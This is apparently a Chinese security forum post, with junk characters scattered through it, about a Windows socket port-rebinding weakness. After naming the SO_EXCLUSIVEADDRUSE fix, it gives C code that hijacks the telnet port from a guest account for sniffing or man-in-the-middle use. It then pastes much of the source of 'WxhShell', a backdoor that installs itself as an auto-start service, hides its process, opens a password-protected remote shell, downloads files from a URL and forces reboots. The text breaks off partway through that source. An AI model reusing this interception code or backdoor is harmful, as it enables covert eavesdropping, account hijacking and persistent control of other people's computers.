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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <9X@\uvU.<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2k<#e2  
7OmT^jV2  
  saddr.sin_family = AF_INET; e%)iDt\j  
_x(hlHFk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 082iE G  
dV B#Np  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RKzty=j4  
[pTdeg;QE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HJ]v-  
>D!R)W`  
  这意味着什么?意味着可以进行如下的攻击: .+(V</  
F\+AA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FhY#3-jH  
R&(OWF;~,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WcqR; Nm  
$Ah p4oiE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KJQ8Yhq  
@ywtL8"1~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Jfr'OD2$ %  
WT,I~'r=S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lp:VU-S  
xS_;p9{E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ' F.^ 8/>  
;=0mL,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W;I{4ed6  
gNP1UH4m  
  #include Z(|$[GZP[  
  #include 1+$F= M~  
  #include k"cMAu.  
  #include    I[|Y 2i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   btEyvqs~X  
  int main() D^O[_/i&  
  { %" bI2  
  WORD wVersionRequested; &2u |7U.  
  DWORD ret; b 3Q6-  
  WSADATA wsaData; 2{=D)aC$f  
  BOOL val; B1|nT?}J(  
  SOCKADDR_IN saddr; xK_UkB-$i  
  SOCKADDR_IN scaddr; z9IW&f~~P  
  int err; u]NsCHKlT  
  SOCKET s; c>D~MCNxg  
  SOCKET sc; u=InE|SH  
  int caddsize; ;&J>a8B$  
  HANDLE mt; >xo<i8<Miv  
  DWORD tid;   1 jB0gNe  
  wVersionRequested = MAKEWORD( 2, 2 ); dj (&"P  
  err = WSAStartup( wVersionRequested, &wsaData ); -(TC'  
  if ( err != 0 ) { :1qLRr  
  printf("error!WSAStartup failed!\n"); {2:baoG-  
  return -1; ?aTH<  
  } nD/B :0'  
  saddr.sin_family = AF_INET; 5PeYQ-B|  
   WMC^G2 n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3G4WKg.^  
1W >/4l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h?dSn:Y\?  
  saddr.sin_port = htons(23); heIys.p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D+uo gRS61  
  { v[uVAbfQ  
  printf("error!socket failed!\n"); V.`hk^V,  
  return -1; J&\Q3_vro9  
  } \wz^Z{U  
  val = TRUE; IQ\!wWKmY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &_Cc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ib(|}7Je  
  { bgE]Wk0  
  printf("error!setsockopt failed!\n"); 0o$RvxJ  
  return -1; 0(+<uo~6p1  
  } m33&obSP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i5le0lM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Awfd0L;9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =Ks&m4  
XuJyso9kA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ( ww4(  
  { KB~[nZs7  
  ret=GetLastError(); C {*?  
  printf("error!bind failed!\n"); }\<=B%{  
  return -1; *3Lo[GE>  
  } ;q-c[TZC  
  listen(s,2); '{cND  
  while(1) $,Xn@4  
  { ASi2;Q_{_  
  caddsize = sizeof(scaddr); I52nQCXi  
  //接受连接请求 0);5cbV7i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -<x%  
  if(sc!=INVALID_SOCKET) o0No"8DnjH  
  { \,NT5>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]p+KN>1e  
  if(mt==NULL) -n"f>c_{>  
  { aoW2c1`?Z  
  printf("Thread Creat Failed!\n"); 3"Oipt+  
  break; STu(I\9  
  } JzywSQ  
  } }*!L~B!  
  CloseHandle(mt); QyTN  V  
  } -ABj>y[  
  closesocket(s); U*K4qJ6U  
  WSACleanup(); )( 3)^/Xz  
  return 0; t9<BQg  
  }   }!fIY7gv  
  DWORD WINAPI ClientThread(LPVOID lpParam) a+z>pV|  
  { 2UYtEJ(?`{  
  SOCKET ss = (SOCKET)lpParam; `_LQs9J0J  
  SOCKET sc; X n0HJ^"_  
  unsigned char buf[4096]; xp:I(  
  SOCKADDR_IN saddr; $G0e1)D  
  long num; 9-j-nx @)  
  DWORD val; DmgDhNXKq  
  DWORD ret; lv] U)p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .=}\yYGe   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {@Lun6\  
  saddr.sin_family = AF_INET; t5l<Lm)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1^NC=IS9z  
  saddr.sin_port = htons(23); 6%t6u3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h-(NWxK+  
  { tpzWi W/  
  printf("error!socket failed!\n"); g0jf Lv  
  return -1; 9mtndTT 5u  
  } IG}yGGn  
  val = 100; 4Kj 8 i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qYe`</  
  { .DwiIr'  
  ret = GetLastError(); j# c@dze  
  return -1; =\ 8 x  
  } )$Ib6tYY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]Y$Wv9 S6  
  { nO`[C=|  
  ret = GetLastError(); ^WWr8-  
  return -1; s +S6'g--  
  } W)Y-^i5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 76[ qFz  
  { zuMz6#aCC8  
  printf("error!socket connect failed!\n"); >nehyo:#  
  closesocket(sc); sDgo G  
  closesocket(ss); .yTo)t  
  return -1; <au_S\n  
  } OFv-bb*YZ  
  while(1) xK[ [b  
  { -2laM9Ed  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }<2|6 {  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v^/<2/E"?4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4Z{R36 {  
  num = recv(ss,buf,4096,0); b[&ri:AC  
  if(num>0) , =*^XlO=c  
  send(sc,buf,num,0); }n^}%GB  
  else if(num==0) 8=f+`e  
  break; }3 ~*/30V  
  num = recv(sc,buf,4096,0); yhK9rcJq6}  
  if(num>0) -=:tlH n  
  send(ss,buf,num,0); =dKk #*  
  else if(num==0) #Sy~t{4  
  break; i%f C`@  
  } ,,EG"Um6  
  closesocket(ss); U;ujN8  
  closesocket(sc); !f!YMpN  
  return 0 ; ]*$o qn=m  
  } &% (1?\~u  
WzdlrkD  
Eos;7$u[  
========================================================== iH>JR[A  
8PeVHpZ  
下边附上一个代码,,WXhSHELL =RWY0|f  
DKlHXEt>  
========================================================== 01aw+o  
RM%Z"pc Y6  
#include "stdafx.h" tg%<@U`7=  
| Cfo(]>G  
#include <stdio.h> |j8#n`'  
#include <string.h> uRuu!{$  
#include <windows.h> UK8k`;^KI  
#include <winsock2.h> dj,lbUL  
#include <winsvc.h> 3uvl'1(%J  
#include <urlmon.h> uuUj IZCtz  
7 oYD;li$k  
#pragma comment (lib, "Ws2_32.lib") kd p*6ynD  
#pragma comment (lib, "urlmon.lib") 9)b{U2&  
h_Er$ZT64  
#define MAX_USER   100 // 最大客户端连接数 >9g^-~X;v  
#define BUF_SOCK   200 // sock buffer E/% F0\B  
#define KEY_BUFF   255 // 输入 buffer I2z7}*<u  
Br$/hn=  
#define REBOOT     0   // 重启 '/ueY#eG  
#define SHUTDOWN   1   // 关机 +~ S7]AZ  
|CS&H2!s  
#define DEF_PORT   5000 // 监听端口 zZ<~yi3A9  
*D7oHwDU  
#define REG_LEN     16   // 注册表键长度 "tK3h3/Xv  
#define SVC_LEN     80   // NT服务名长度 La^Zr,T!  
f|!@H><  
// 从dll定义API {qry2ZT5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LM.#~7jC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jNIz:_c-~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !P6y_Frpe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ri9n.-xs  
Eh`W J~  
// wxhshell配置信息 M9yqJPS}B  
struct WSCFG { 1-!|_<EW1  
  int ws_port;         // 监听端口 ryd}-_LL  
  char ws_passstr[REG_LEN]; // 口令 `AdHyE  
  int ws_autoins;       // 安装标记, 1=yes 0=no ybB<AkYc  
  char ws_regname[REG_LEN]; // 注册表键名 d?CU+=A&|  
  char ws_svcname[REG_LEN]; // 服务名 DEv,!8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _B]Bd@<w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xn<|6u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D{t0OvQag  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h!hv{c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +hT9V1'-D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5'0kf7  
>R/^[([;]  
}; r^\Wo7q  
0wETv  
// default Wxhshell configuration 8,m:  
struct WSCFG wscfg={DEF_PORT, 8H SGOs =8  
    "xuhuanlingzhe", F|WH=s3  
    1, okW'}@jD  
    "Wxhshell", Pb :6nH=  
    "Wxhshell", =gB{(  
            "WxhShell Service", G~4|]^`g  
    "Wrsky Windows CmdShell Service", ht5:kt`F  
    "Please Input Your Password: ", 7nPm{=B G  
  1, wi:d!,P`e  
  "http://www.wrsky.com/wxhshell.exe", Rk{2ZUeg  
  "Wxhshell.exe" Cmj `WSSa  
    }; K*MI8')  
z<<aT  
// 消息定义模块 fli7Ow?M~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l}Vg;"1'J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gE!`9#..  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t`4o&vsj=  
char *msg_ws_ext="\n\rExit."; Qc:Sf46O  
char *msg_ws_end="\n\rQuit."; a@gm r%C  
char *msg_ws_boot="\n\rReboot..."; 7.v{=UP  
char *msg_ws_poff="\n\rShutdown..."; ~HgN'#Y?  
char *msg_ws_down="\n\rSave to "; ZW8;?# _  
DZ;2aH  
char *msg_ws_err="\n\rErr!"; (WS<6j[q  
char *msg_ws_ok="\n\rOK!"; SYK?5_804  
(pQ$<c  
char ExeFile[MAX_PATH]; ^m^,:]I0P  
int nUser = 0; '8Lc}-M4  
HANDLE handles[MAX_USER]; p WKpc  
int OsIsNt; &[}5yos r  
YWa9|&m1  
SERVICE_STATUS       serviceStatus; Jb z>j\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Jj0%?;  
T b]'  b  
// 函数声明 O/4)aW3B  
int Install(void); o&:n>:im  
int Uninstall(void); %PU {h  
int DownloadFile(char *sURL, SOCKET wsh); qv+}|+aL:  
int Boot(int flag); !yTjO  
void HideProc(void); #9hSo  
int GetOsVer(void); 3qH`zYgh  
int Wxhshell(SOCKET wsl); qS2]|7q?Tc  
void TalkWithClient(void *cs); xZ&S7G1  
int CmdShell(SOCKET sock); qT_E=)1  
int StartFromService(void); ?B,B<@='%  
int StartWxhshell(LPSTR lpCmdLine); s}Sxl0  
x1*@PiO,.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z{.L_ ]$ I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \U'TL_Ql  
bk-aj'>+  
// 数据结构和表定义 u&Dd9kMz  
SERVICE_TABLE_ENTRY DispatchTable[] = iJK rNRj  
{ 4K*DEVS  
{wscfg.ws_svcname, NTServiceMain}, ]z/  
{NULL, NULL} 'Xzi$}E D  
}; ^-7{{/  
nnO@$T  
// 自我安装 g|l|)T.s  
int Install(void) +^.Q%b0Xx  
{ /T2f~1R  
  char svExeFile[MAX_PATH]; x?Oc<CQ-2  
  HKEY key; ( G6N@>V(`  
  strcpy(svExeFile,ExeFile); TMQu'<?V  
O/R>&8R$  
// 如果是win9x系统,修改注册表设为自启动 y0XI?Wr  
if(!OsIsNt) { } "ts  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1&}^{ Ys  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V 5ihplAk  
  RegCloseKey(key); OKq={l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y_Lsmq2!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  7QkAr  
  RegCloseKey(key); OECXNx  
  return 0; X{riI^(  
    } <ByDT$E_  
  } IN9o$CZ:  
} MRHkQE+K@8  
else { P1l@K2r  
`Lu\zR%<  
// 如果是NT以上系统,安装为系统服务 }UWRH.;v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eL!G, W  
if (schSCManager!=0) /C}fE]n{X  
{ Kq0hT4w  
  SC_HANDLE schService = CreateService J#W>%2 "s  
  ( &hYjQ&n  
  schSCManager, jNNl5.  
  wscfg.ws_svcname, t| zLR  
  wscfg.ws_svcdisp, 6Gs,-Kb:  
  SERVICE_ALL_ACCESS, Cx/duod p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^5~[G%G4  
  SERVICE_AUTO_START, cBA2;5E  
  SERVICE_ERROR_NORMAL, $T0|zPK5  
  svExeFile, $rC`)"t  
  NULL, ]g; K_>@  
  NULL, DD hc^(  
  NULL, h@D4~(r  
  NULL, 9?W38EF  
  NULL ;nJCd1H  
  ); )FqE8oN-  
  if (schService!=0) <cz~q=%v2&  
  { " ,rA  
  CloseServiceHandle(schService); u$[T8UqF  
  CloseServiceHandle(schSCManager); ~1h-LbFI2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =kLg)a |  
  strcat(svExeFile,wscfg.ws_svcname); Swua dN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;"nEEe]?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HnqZ7%jeN  
  RegCloseKey(key); U-s6h;^ O  
  return 0; 3^us;aOr  
    } qO9_ e  
  } <`9:hPp0  
  CloseServiceHandle(schSCManager); \rf1#Em  
} t>v']a +k  
} EH$wW l^  
i,,>@R  
return 1; z[ ;{p.W  
}  . yu  
LVLh&9  
// 自我卸载 j{P,(-  
int Uninstall(void) :7!/FBd  
{ 8LwbOR"  
  HKEY key; 9H3#8T] ;  
sEvJ!$Tt?I  
if(!OsIsNt) { }%R6Su]y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xt"/e-h }  
  RegDeleteValue(key,wscfg.ws_regname); ^j=_=Km]  
  RegCloseKey(key); r/O(EW#=8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tY :-13F  
  RegDeleteValue(key,wscfg.ws_regname); 9AL\6 @<a*  
  RegCloseKey(key); )-a_,3x%j  
  return 0; C>;yW7*g"  
  } r%'2a+}D  
} 5#f&WL*U@  
}  D#m+w  
else { D0k7)\puQ  
D1O7S]j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vq'&t<K#  
if (schSCManager!=0) m9xu$z| e  
{ }}(~'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \^-3)*r  
  if (schService!=0) ?\#4`9  
  { 4'rk3nT8  
  if(DeleteService(schService)!=0) { Hab9~v ]  
  CloseServiceHandle(schService); O.K8$  
  CloseServiceHandle(schSCManager); vPwDV_zk  
  return 0; 0 q3<RX>M%  
  } b8v$*{  
  CloseServiceHandle(schService); I@L-%#@R1  
  } 6OTxtk  
  CloseServiceHandle(schSCManager); #lLL5ji  
} Da@tpKU)p  
} H_8@J  
G(0 bulq  
return 1; j^!J: Bj  
} ) L{Tn 8  
{U(h]'  
// 从指定url下载文件 $uLzC]  
int DownloadFile(char *sURL, SOCKET wsh) VBCj.dw  
{ 8w*fg6,=  
  HRESULT hr; wc,y+C#V  
char seps[]= "/"; In;z\"NN4  
char *token; uN\9c Q  
char *file; H*\ }W  
char myURL[MAX_PATH]; iGU N$  
char myFILE[MAX_PATH]; Io"=X! k  
2iG(v._x  
strcpy(myURL,sURL); D@JHi'F  
  token=strtok(myURL,seps); 6|dUz*Pr|\  
  while(token!=NULL) >Ia(g0  
  { <0LB]zDWe6  
    file=token; wFd*6%  
  token=strtok(NULL,seps); X"1<G3m4  
  } eO9nn9lql  
l9L;Tjj  
GetCurrentDirectory(MAX_PATH,myFILE); 1VZ>*Tl  
strcat(myFILE, "\\"); <?J7Z|  
strcat(myFILE, file); 9H)uTyuNi  
  send(wsh,myFILE,strlen(myFILE),0);  7:p]~eM)  
send(wsh,"...",3,0); IkZ_N#m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  #b"IX`5  
  if(hr==S_OK) YJ6vyG>%C  
return 0; ' R@<4Ib|  
else */+s^{W7  
return 1; Y3zO7*-@  
/1>  
} q,(&2./  
{Jy%h8n*  
// 系统电源模块 \rN_CBM  
int Boot(int flag) P< &/$x6  
{ `k\1vum  
  HANDLE hToken; +8Px` v1L  
  TOKEN_PRIVILEGES tkp; .6;B3  
GB+d0 S4  
  if(OsIsNt) { &T|-K\*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z g j35  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z$V8<&q  
    tkp.PrivilegeCount = 1; Zn} )&Xt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]`kvq0Gyb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }n 7e_qy4  
if(flag==REBOOT) { i|O7nB@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <&Uk!1Jd  
  return 0; 7w$R-Y/E  
} lKD@2  
else { Uy1xNb/d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [ O)Zof  
  return 0; ;VH]TKkk  
} %N  
  } H'`(|$:|  
  else { mT>p:G  
if(flag==REBOOT) { PmY:sJ{M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E 9:hK  
  return 0; bOdv]nQ1  
} %Uk/P  
else { &zd7t6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ww@;9US 3  
  return 0; /t^lI%&  
} }:8>>lQ  
} Q(IS=  
D6oby*_w  
return 1; wEbs E<</  
} eEh0T %9K  
&aQ)x   
// win9x进程隐藏模块 =arsoCa  
void HideProc(void) MB 5[Js|  
{ DQICD.X6R  
KEN-G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -]A#G`'  
  if ( hKernel != NULL ) >z -(4Z  
  { t5APD?5 c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "3MUrIsB>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4<K`yU]"  
    FreeLibrary(hKernel); "poTM[]tZ7  
  } =4 H K  
bx^EaXj(r  
return; fYjsSUnf  
} ]."c4S_)|  
W>bW1h  
// 获取操作系统版本 kw~H%-,]  
int GetOsVer(void) L# 1vf  
{ ko>_@]Jb  
  OSVERSIONINFO winfo; _fCHj$I*]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6)$ N[FNs  
  GetVersionEx(&winfo); 9tEKA|8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n1>nnH]G  
  return 1; fEc_r:|\6  
  else cZzZNGY^ts  
  return 0; r3_gPK  
} 4Z<l>!  
({VBp[Mh  
// 客户端句柄模块 K-C,+eI  
int Wxhshell(SOCKET wsl) g0OS<,:  
{ ,b(S=r  
  SOCKET wsh; 9y*! W  
  struct sockaddr_in client; 2vN(z %p  
  DWORD myID; I{I [N &N  
J-<B*ot+lX  
  while(nUser<MAX_USER) B[B<U~I}  
{ \=V[ba:q  
  int nSize=sizeof(client); cgeS)C7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mRY6[*u  
  if(wsh==INVALID_SOCKET) return 1; uW9M&"C~  
r(T/^<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AS_+}*WSFQ  
if(handles[nUser]==0) _5w?v~65  
  closesocket(wsh); N:[;E3?O  
else KAcri<^G  
  nUser++; 2rtP.*dd  
  } PjW+V`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c\{}FGC  
C'2 =0oou  
  return 0; 5l/l]  
} <^_Vl8%  
o'C.,ic?C  
// 关闭 socket U hhmG+  
void CloseIt(SOCKET wsh) XWQ0V  
{ >#U <#  
closesocket(wsh); cloSJmUlQ  
nUser--; 0P40K  
ExitThread(0); u=}bq{  
} \g1@A"  
-b0'Q  
// 客户端请求句柄 "HfU,$[  
void TalkWithClient(void *cs) L{A-0Ffh  
{ \u-e\w  
PbHh?iH  
  SOCKET wsh=(SOCKET)cs;  M .`  
  char pwd[SVC_LEN]; K!c@aD:#  
  char cmd[KEY_BUFF]; eu]iwOc&p  
char chr[1]; ' VEr4&  
int i,j; kz;_f  
A=C3e4.C  
  while (nUser < MAX_USER) {  5vF}F^  
9r+O!kF(  
if(wscfg.ws_passstr) { q+n1~AT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UdW(\%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y*b.eO  
  //ZeroMemory(pwd,KEY_BUFF); za]p,bMX  
      i=0; q VdC?A|  
  while(i<SVC_LEN) { Gb|}Su  
_<*GU@  
  // 设置超时 2 C]la  
  fd_set FdRead; %SO%{.}Z f  
  struct timeval TimeOut; jJ"EGFa8  
  FD_ZERO(&FdRead); s P4 ,S(+e  
  FD_SET(wsh,&FdRead); jc.JX_/  
  TimeOut.tv_sec=8; B%J%TR_  
  TimeOut.tv_usec=0; 5J+V:Xu{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }j(2Dl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .`& /QiD  
1uS-Tx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _|  
  pwd=chr[0]; -+=:+LhSMb  
  if(chr[0]==0xd || chr[0]==0xa) { #H6g&)Z_  
  pwd=0; j"IM,=  
  break; 51M^yG&M  
  } 99Yo1Q 0  
  i++; ~d%;~_n  
    } gGX0+L@E  
_/ }6  
  // 如果是非法用户,关闭 socket ]AA%J@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U\Ar*b)/T  
} d[]p_oIQq  
n1>,#|#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v^c<`i;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \;*}zX  
d$_q=ywc  
while(1) { ?5yH'9zE  
sjzXJ`s  
  ZeroMemory(cmd,KEY_BUFF); Sn0gTsZ  
0)oN[  
      // 自动支持客户端 telnet标准   @\T;PTD-  
  j=0; G4`Ut1g ^  
  while(j<KEY_BUFF) { ytve1<.Ff  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XJ h:U0  
  cmd[j]=chr[0]; 7 ZL#f![{  
  if(chr[0]==0xa || chr[0]==0xd) { zzfn0g  
  cmd[j]=0; 80$0zbw$  
  break; &6t3SZV  
  } a}Fk x  
  j++; uPFHlT  
    } II-$WJy  
B8UZ9I$n  
  // 下载文件 27a* H1iQ  
  if(strstr(cmd,"http://")) { m@Ip^]9ry  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fNqmTRu  
  if(DownloadFile(cmd,wsh)) 7SK 3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %[n R|a<  
  else zvGK6qCk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >nhE%:X>  
  } #$t}T@t>  
  else { nQ642i%RQ  
=F'M~3M   
    switch(cmd[0]) { i$bzdc#s  
  {,Bb"0 \  
  // 帮助 ;wbUk5Tf/  
  case '?': { =a9etF%B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~#x :z ^U  
    break; NuD[-;N]  
  } |)-|2cPRur  
  // 安装 b4v(k(<  
  case 'i': { W]O@DS zR  
    if(Install()) ~ThVap[*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7?MB8tJ5r4  
    else rv}mD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %GX uuE}mX  
    break; RVkU+7  
    } ^`rpf\GX(  
  // 卸载 Z cm<Fw  
  case 'r': { qx2E-PDL;<  
    if(Uninstall()) ^XBzZ!h|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Ti_<<X  
    else -^iUVO`z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Ns,ts(ng  
    break; rBD(2M  
    } %AG1oWWc>.  
  // 显示 wxhshell 所在路径 #v4LoNm  
  case 'p': { sTtX$&Qu  
    char svExeFile[MAX_PATH]; )u8*zwq  
    strcpy(svExeFile,"\n\r"); 1yBt/U2  
      strcat(svExeFile,ExeFile); :xFu_%7  
        send(wsh,svExeFile,strlen(svExeFile),0); hIuMHq7h  
    break; .hX0c"f]b  
    } V uG?B{  
  // 重启 Q(510)  
  case 'b': { iuC7Y|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1~2R^#rm  
    if(Boot(REBOOT)) jg [H}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sdJ%S*)5G$  
    else { ](W5.a,-$L  
    closesocket(wsh); D XV@DQ  
    ExitThread(0); 7}4'dW.  
    } 7G5y)Qb  
    break; 0n:?sFY>  
    } ?;|@T ty%  
  // 关机 b!0DH[XKV  
  case 'd': { =&A!C"qK4[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :)#hrFp  
